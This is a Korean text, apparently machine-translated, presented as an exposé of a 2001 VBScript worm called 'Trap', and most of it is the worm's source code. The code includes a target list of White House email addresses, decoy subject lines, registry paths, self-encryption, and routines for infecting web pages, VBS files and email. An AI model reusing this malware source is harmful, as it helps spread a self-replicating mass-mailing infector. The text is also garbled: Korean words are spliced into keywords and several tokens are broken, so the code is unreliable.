다음은' 함정' 의 공격 과정과 소스 코드에 대한 자세한 폭로입니다.
바이러스는 자체 암호화 기능 (JavaScript 인코딩 기술 사용) 을 갖추고 있어 일반 사용자가 바이러스 소스 코드를 볼 수 없지만 감염된 VBS 파일에는 암호화되지 않으므로 진입점으로서 모든 소스 코드를 쉽게 얻을 수 있습니다.
@ thank you! Make use of other person to get rid of an enemy, trap _2001
이 말은' 칼로 사람을 죽이다' 와 바이러스 이름' 함정'
을 의미할 수 있다On error resume next
Dim vbscr, FSO, w1, w2, MSWKEY, HCUW, Code_Str, Vbs_Str, Js_Str
Dim defpath, smailc, MAX_SIZE
Dim whb (), 제목 (10)
Smailc = 4
레딤 whb (smailc)' 백악관 관계자 이메일 목록
Whb (0) = "president @ whitehouse.gov"
Whb (1) = "vice.president @ whitehouse.gov"
Whb (2) = "first.lady @ whitehouse.gov"
Whb (3) = "mrs.cheney @ whitehouse.gov"
메일 보낸 제목
제목 (0) = "thanks for helping me!"
Title (1) = "the police are investigating the robbery"
Title (2) = "an application for a job"
Title (3) = "the aspects of an application process pertinent to OSI"
제목 (4) = "what a pleasant weather.why not go out for a walk?"
Title (5) = "these countries have gone/been through too many wars"
Title (6) = "we' ve fixed on the 17th of April for the wedding"
Title (7) = "the wind failed and the sea returned to calmness."
Title(8) = "the sitting is open! "
제목 (9) = ""
Defpath = "c: \ readme.html"' 바이러스 파일
MAX_SIZE = 100000' 감염 파일의 최대 크기 정의
Msw 키 = "HKEY _ local _ machine \ software \ Microsoft \ windows \"
HCUW = "HKEY
_ current _ user \ software \ Microsoft \ wab \ "
메인
Sub main ()' 마스터 프로그램
On error resume next
Dim w_s
W_s= WScript.ScriptFullName' 바이러스 파일 자체의 경로 얻기
If w_s = "" then
Err.Clear
Set FSO = createobject ("scripting.file system object")' 파일 시스템 객체 작성
If getErr then' 바이러스 상태 인식
Randomize' 임의 시드 초기화
Ra = int(rnd() * 7)' 난수 생성
Doucment.write title(ra)' 임의 내용 쓰기
ExecuteMail' 이 메일 상태를 실행할 때의 프로그램
Else
ExecutePage' 가 웹 페이지 상태를 실행할 때의 절차
End if
Else
ExecuteVbs' VBS 파일 상태 실행 절차
End if
End sub
Functiongeter () 가 오류 무시
If Err.numberlt；; Gt; 0 then
GetErr=true
Err.Clear
Else
GetErr=false
End if
End function
Sub executepage ()' 웹 페이지 상태 시 프로세스
On error resume next
Dim Html_Str, ADI, wdf, wdf2, wdf3, wdsf, wdsf2, VF
Vbs _ str = getscriptcode ("VBScript")' VBScript 코드 가져오기
Js_Str = GetJavaScript ()' Javascript 코드 가져오기
Code _ str = makescript (encrypt (VBS _ str), true)' 암호화된 스크립트 코드 가져오기
HTML _ str = make html (encrypt (VBS _ str), true)' 암호화된 전체 html 코드 가져오기
Gf
바이러스 파일의 경로 정의
Wdsf = w2amp; "Mdm.vbs"
Wdsf2 = w1amp; "Profile.vbs"
#111#